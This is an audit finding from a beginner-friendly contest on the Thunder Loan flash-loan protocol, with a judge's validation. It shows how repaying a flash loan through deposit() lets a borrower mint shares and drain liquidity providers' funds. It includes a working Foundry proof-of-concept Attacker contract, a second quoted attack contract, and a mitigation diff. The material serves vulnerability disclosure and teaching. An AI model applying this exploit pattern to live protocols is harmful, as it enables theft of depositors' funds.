Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

flashloan() accepts deposit() as repayment, so the borrower is minted AssetTokens for the borrowed funds and can redeem the entire pool (ThunderLoan and ThunderLoanUpgraded)

Root + Impact

Description

  • flashloan() lends a pool's tokens for a single call. The AssetToken must end the call holding at least its starting balance plus the fee, and the borrower returns the funds through repay(), which transfers tokens without minting anything. deposit() is the liquidity-provider entry point: it takes new tokens and mints AssetTokens that are a claim on them.

  • flashloan() treats a loan as repaid when token.balanceOf(assetToken) >= startingBalance + fee and never checks how the tokens arrived. deposit() can be called while a loan is open: it never reads s_currentlyFlashLoaning, and there is no reentrancy guard. It also sends the tokens into the same AssetToken and mints AssetTokens to the caller. A borrower who returns the loan through deposit() passes the repayment check and also holds redeemable shares for the borrowed tokens, so the same tokens count twice, and the borrower redeems those shares once the loan closes.

// src/protocol/ThunderLoan.sol L147-L156 (deposit: no flash-loan check, mints shares and funds the same AssetToken)
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { // @>
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount); // @>
uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount); // @>
}
​
// src/protocol/ThunderLoan.sol L182 (flashloan)
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken)); // @>
​
// src/protocol/ThunderLoan.sol L198-L217 (flashloan: balance-only repayment check)
s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
// slither-disable-next-line unused-return reentrancy-vulnerabilities-2
receiverAddress.functionCall(
abi.encodeWithSignature(
"executeOperation(address,uint256,uint256,address,bytes)",
address(token),
amount,
fee,
msg.sender,
params
)
);
​
uint256 endingBalance = token.balanceOf(address(assetToken)); // @>
if (endingBalance < startingBalance + fee) { // @>
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
s_currentlyFlashLoaning[token] = false;
}
​
// src/upgradedProtocol/ThunderLoanUpgraded.sol L146-L154 (same deposit defect)
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { // @>
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount); // @>
​
token.safeTransferFrom(msg.sender, address(assetToken), amount); // @>
}
​
// src/upgradedProtocol/ThunderLoanUpgraded.sol L180
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken)); // @>
​
// src/upgradedProtocol/ThunderLoanUpgraded.sol L210-L213 (same balance-only repayment check)
uint256 endingBalance = token.balanceOf(address(assetToken)); // @>
if (endingBalance < startingBalance + fee) { // @>
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}

Risk

Likelihood:

  • Anyone can trigger it on any allowed token whose AssetToken holds LP deposits. flashloan(), deposit() and redeem() are permissionless, the borrower may take the full startingBalance, and the attacker needs only a receiver contract and the 0.3% fee in the borrowed token (3e18 for a 1000e18 pool in the PoC).

  • The attack runs in one atomic transaction. It needs no admin action, oracle movement, timing window or non-standard token behaviour: the PoC uses a plain ERC20 mock and the fixed 1e18 mock price.

  • Both the deployed ThunderLoan and the planned ThunderLoanUpgraded are affected, because both have the same balance-only repayment check and the same deposit() with no flash-loan check.

Impact:

  • Direct theft of LP principal. In the PoC the attacker pays a 3e18 fee and receives 1003e18. The pool falls from 1000e18 to 0 on ThunderLoanUpgraded and to 1 wei on ThunderLoan, so the net theft equals the LP's 1000e18 deposit.

  • Honest LPs are left with AssetTokens backed by an emptied pool, and their redeem() reverts. This breaks the stated invariant that the protocol never loses LP deposits (test/fuzz/Invariant.t.sol L7).

  • Each allowed token has its own AssetToken behind the same flashloan() and deposit() code, so every listed pool is exposed. Upgrading to ThunderLoanUpgraded does not remove the issue.

Proof of Concept

test/PoC_TL-01.t.sol deploys ThunderLoan and ThunderLoanUpgraded behind fresh ERC1967 proxies with MockPoolFactory (price 1e18) and has an LP deposit 1000e18. An attacker contract, funded only with the 3e18 fee, borrows the whole pool, returns it through deposit() inside executeOperation, and then redeems its new AssetTokens. On ThunderLoanUpgraded the test asserts that the pool ends at 0, the attacker receives exactly 1003e18 (1000e18 net of the fee), and the LP's redeem(type(uint256).max) reverts. On ThunderLoan it asserts that the pool ends at or below 1e12 wei (1 wei in the run), the attacker receives at least 1000e18, and the LP's redeem reverts; a baseline test shows an honest loan repaid through repay() leaves principal plus fee for the LP. Run with forge test --match-path test/PoC_TL-01.t.sol -vv.

File test/PoC_TL-01.t.sol; run FOUNDRY_FFI=false forge test --match-path test/PoC_TL-01.t.sol -vv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
import { Test, console } from "forge-std/Test.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
​
import { ThunderLoan } from "../src/protocol/ThunderLoan.sol";
import { ThunderLoanUpgraded } from "../src/upgradedProtocol/ThunderLoanUpgraded.sol";
import { AssetToken } from "../src/protocol/AssetToken.sol";
import { MockPoolFactory } from "./mocks/MockPoolFactory.sol";
​
/// Minimal surface shared by ThunderLoan and ThunderLoanUpgraded, so one
/// attacker contract works against both implementations.
interface ITL {
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external;
function deposit(IERC20 token, uint256 amount) external;
function redeem(IERC20 token, uint256 amountOfAssetToken) external;
function getAssetFromToken(IERC20 token) external view returns (AssetToken);
}
​
/// Attacker's flash-loan receiver. It "repays" the loan by calling deposit(),
/// which both satisfies flashloan()'s balance-only repayment check AND mints
/// redeemable AssetTokens to the attacker for the borrowed funds. After the
/// loan closes, it redeems and drains the whole pool.
contract Attacker {
address public immutable owner;
ITL public immutable tl;
​
constructor(address _tl) {
owner = msg.sender;
tl = ITL(_tl);
}
​
function attack(IERC20 token, uint256 amount) external {
// 1. Borrow the whole pool. Repayment happens inside executeOperation.
tl.flashloan(address(this), token, amount, "");
​
// 2. Loan is closed. Redeem the AssetTokens minted to us during "repay"
// and take the entire underlying balance of the AssetToken.
AssetToken at = tl.getAssetFromToken(token);
uint256 rate = at.getExchangeRate();
uint256 poolBalance = token.balanceOf(address(at));
// shares that redeem to <= the full pool balance (avoids rounding-up revert)
uint256 shares = (poolBalance * at.EXCHANGE_RATE_PRECISION()) / rate;
tl.redeem(token, shares);
​
// 3. Forward the loot to the attacker EOA.
token.transfer(owner, token.balanceOf(address(this)));
}
​
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address, /* initiator */
bytes calldata /* params */
)
external
returns (bool)
{
uint256 repayAmount = amount + fee;
// We were funded with `fee`, and hold the borrowed `amount`, so we have
// exactly repayAmount. Pay it in via deposit() instead of repay().
IERC20(token).approve(address(tl), repayAmount);
tl.deposit(IERC20(token), repayAmount);
return true;
}
}
​
/// Honest receiver that repays correctly via repay(). Used for the baseline.
interface ITLRepay {
function repay(IERC20 token, uint256 amount) external;
}
​
contract HonestReceiver {
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address, /* initiator */
bytes calldata /* params */
)
external
returns (bool)
{
uint256 repayAmount = amount + fee;
IERC20(token).approve(msg.sender, repayAmount);
ITLRepay(msg.sender).repay(IERC20(token), repayAmount);
return true;
}
}
​
contract PoC_TL01 is Test {
MockPoolFactory factory;
ERC20Mock tokenA;
​
address lp = makeAddr("lp");
address attackerEOA = makeAddr("attacker");
​
uint256 constant LP_DEPOSIT = 1000e18;
uint256 constant FEE = 3e18; // 0.3% of 1000e18 at price 1e18
​
function setUp() public {
factory = new MockPoolFactory();
tokenA = new ERC20Mock();
factory.createPool(address(tokenA));
}
​
function _deployV1() internal returns (ThunderLoan tl) {
ThunderLoan impl = new ThunderLoan();
ERC1967Proxy proxy = new ERC1967Proxy(address(impl), "");
tl = ThunderLoan(address(proxy));
tl.initialize(address(factory));
tl.setAllowedToken(IERC20(address(tokenA)), true);
}
​
function _deployUpgraded() internal returns (ThunderLoanUpgraded tl) {
ThunderLoanUpgraded impl = new ThunderLoanUpgraded();
ERC1967Proxy proxy = new ERC1967Proxy(address(impl), "");
tl = ThunderLoanUpgraded(address(proxy));
tl.initialize(address(factory));
tl.setAllowedToken(IERC20(address(tokenA)), true);
}
​
function _lpDeposit(ITL tl) internal {
tokenA.mint(lp, LP_DEPOSIT);
vm.startPrank(lp);
tokenA.approve(address(tl), LP_DEPOSIT);
tl.deposit(IERC20(address(tokenA)), LP_DEPOSIT);
vm.stopPrank();
}
​
// -------------------------------------------------------------------------
// BASELINE: an honest flash loan repaid via repay() leaves the pool intact
// and the LP can still redeem their full principal.
// -------------------------------------------------------------------------
function test_Baseline_HonestFlashLoanPreservesPool() public {
ThunderLoanUpgraded tl = _deployUpgraded();
_lpDeposit(ITL(address(tl)));
AssetToken at = tl.getAssetFromToken(IERC20(address(tokenA)));
​
// fund an honest borrower with just the fee
HonestReceiver r = new HonestReceiver();
tokenA.mint(address(r), FEE);
​
uint256 poolBefore = tokenA.balanceOf(address(at));
tl.flashloan(address(r), IERC20(address(tokenA)), LP_DEPOSIT, "");
uint256 poolAfter = tokenA.balanceOf(address(at));
​
// pool grew by exactly the fee; principal preserved
assertEq(poolAfter, poolBefore + FEE, "honest loan should leave principal + fee");
​
// LP redeems their shares and gets back MORE than they put in (fee accrued)
uint256 lpShares = at.balanceOf(lp);
vm.prank(lp);
tl.redeem(IERC20(address(tokenA)), lpShares);
assertGe(tokenA.balanceOf(lp), LP_DEPOSIT, "LP recovers at least principal in baseline");
console.log("[baseline] LP recovered:", tokenA.balanceOf(lp));
}
​
// -------------------------------------------------------------------------
// EXPLOIT on ThunderLoanUpgraded
// -------------------------------------------------------------------------
function test_Exploit_Upgraded_DrainsPool() public {
ThunderLoanUpgraded tl = _deployUpgraded();
_lpDeposit(ITL(address(tl)));
AssetToken at = tl.getAssetFromToken(IERC20(address(tokenA)));
​
uint256 poolBefore = tokenA.balanceOf(address(at));
assertEq(poolBefore, LP_DEPOSIT, "pool holds LP principal");
​
// attacker deploys receiver funded only with the fee
vm.startPrank(attackerEOA);
Attacker atk = new Attacker(address(tl));
vm.stopPrank();
tokenA.mint(address(atk), FEE);
​
uint256 attackerCost = FEE;
​
vm.prank(attackerEOA);
atk.attack(IERC20(address(tokenA)), LP_DEPOSIT);
​
uint256 poolAfter = tokenA.balanceOf(address(at));
uint256 attackerGot = tokenA.balanceOf(attackerEOA);
​
console.log("[upgraded] pool before :", poolBefore);
console.log("[upgraded] pool after :", poolAfter);
console.log("[upgraded] attacker received :", attackerGot);
console.log("[upgraded] attacker cost(fee):", attackerCost);
​
// Pool is fully drained.
assertEq(poolAfter, 0, "AssetToken drained to zero");
// Attacker walks away with the LP's entire principal, net of the one fee.
assertEq(attackerGot, LP_DEPOSIT + FEE, "attacker took principal + fee");
assertGt(attackerGot, attackerCost, "attacker is in profit");
assertEq(attackerGot - attackerCost, LP_DEPOSIT, "net theft equals LP principal");
​
// Invariant break: the honest LP can no longer redeem their deposit.
uint256 lpShares = at.balanceOf(lp);
assertGt(lpShares, 0, "LP still holds shares");
vm.prank(lp);
vm.expectRevert();
tl.redeem(IERC20(address(tokenA)), type(uint256).max);
}
​
// -------------------------------------------------------------------------
// EXPLOIT on ThunderLoan (V1). The phantom deposit fee lifts the rate so
// redeem(max) would ask for slightly more than the pool holds; the attacker
// redeems the computed share amount and still takes the whole balance.
// -------------------------------------------------------------------------
function test_Exploit_V1_DrainsPool() public {
ThunderLoan tl = _deployV1();
_lpDeposit(ITL(address(tl)));
AssetToken at = tl.getAssetFromToken(IERC20(address(tokenA)));
​
uint256 poolBefore = tokenA.balanceOf(address(at));
assertEq(poolBefore, LP_DEPOSIT, "pool holds LP principal");
​
vm.startPrank(attackerEOA);
Attacker atk = new Attacker(address(tl));
vm.stopPrank();
tokenA.mint(address(atk), FEE);
​
vm.prank(attackerEOA);
atk.attack(IERC20(address(tokenA)), LP_DEPOSIT);
​
uint256 poolAfter = tokenA.balanceOf(address(at));
uint256 attackerGot = tokenA.balanceOf(attackerEOA);
​
console.log("[v1] pool before :", poolBefore);
console.log("[v1] pool after :", poolAfter);
console.log("[v1] attacker received :", attackerGot);
​
// Pool is essentially drained (at most dust left by rounding).
assertLe(poolAfter, 1e12, "AssetToken drained to near zero");
// Attacker profits the LP principal net of the fee.
assertGt(attackerGot, FEE, "attacker is in profit");
assertGe(attackerGot, LP_DEPOSIT, "attacker took at least the LP principal");
​
// Invariant break: LP cannot get their deposit back.
vm.prank(lp);
vm.expectRevert();
tl.redeem(IERC20(address(tokenA)), type(uint256).max);
}
}

Recommended Mitigation

--- a/src/protocol/ThunderLoan.sol
+++ b/src/protocol/ThunderLoan.sol
@@ -84,2 +84,3 @@
error ThunderLoan__NotCurrentlyFlashLoaning();
error ThunderLoan__BadNewFee();
+ error ThunderLoan__CurrentlyFlashLoaning(IERC20 token);
@@ -147,3 +148,6 @@
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__CurrentlyFlashLoaning(token);
+ }
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
@@ -180,3 +184,7 @@
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
+ // A nested loan of the same token would clear the flag early and reopen deposit().
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__CurrentlyFlashLoaning(token);
+ }
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
--- a/src/upgradedProtocol/ThunderLoanUpgraded.sol
+++ b/src/upgradedProtocol/ThunderLoanUpgraded.sol
@@ -84,2 +84,3 @@
error ThunderLoan__NotCurrentlyFlashLoaning();
error ThunderLoan__BadNewFee();
+ error ThunderLoan__CurrentlyFlashLoaning(IERC20 token);
@@ -146,3 +147,6 @@
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__CurrentlyFlashLoaning(token);
+ }
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
@@ -178,3 +182,7 @@
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
+ // A nested loan of the same token would clear the flag early and reopen deposit().
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__CurrentlyFlashLoaning(token);
+ }
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!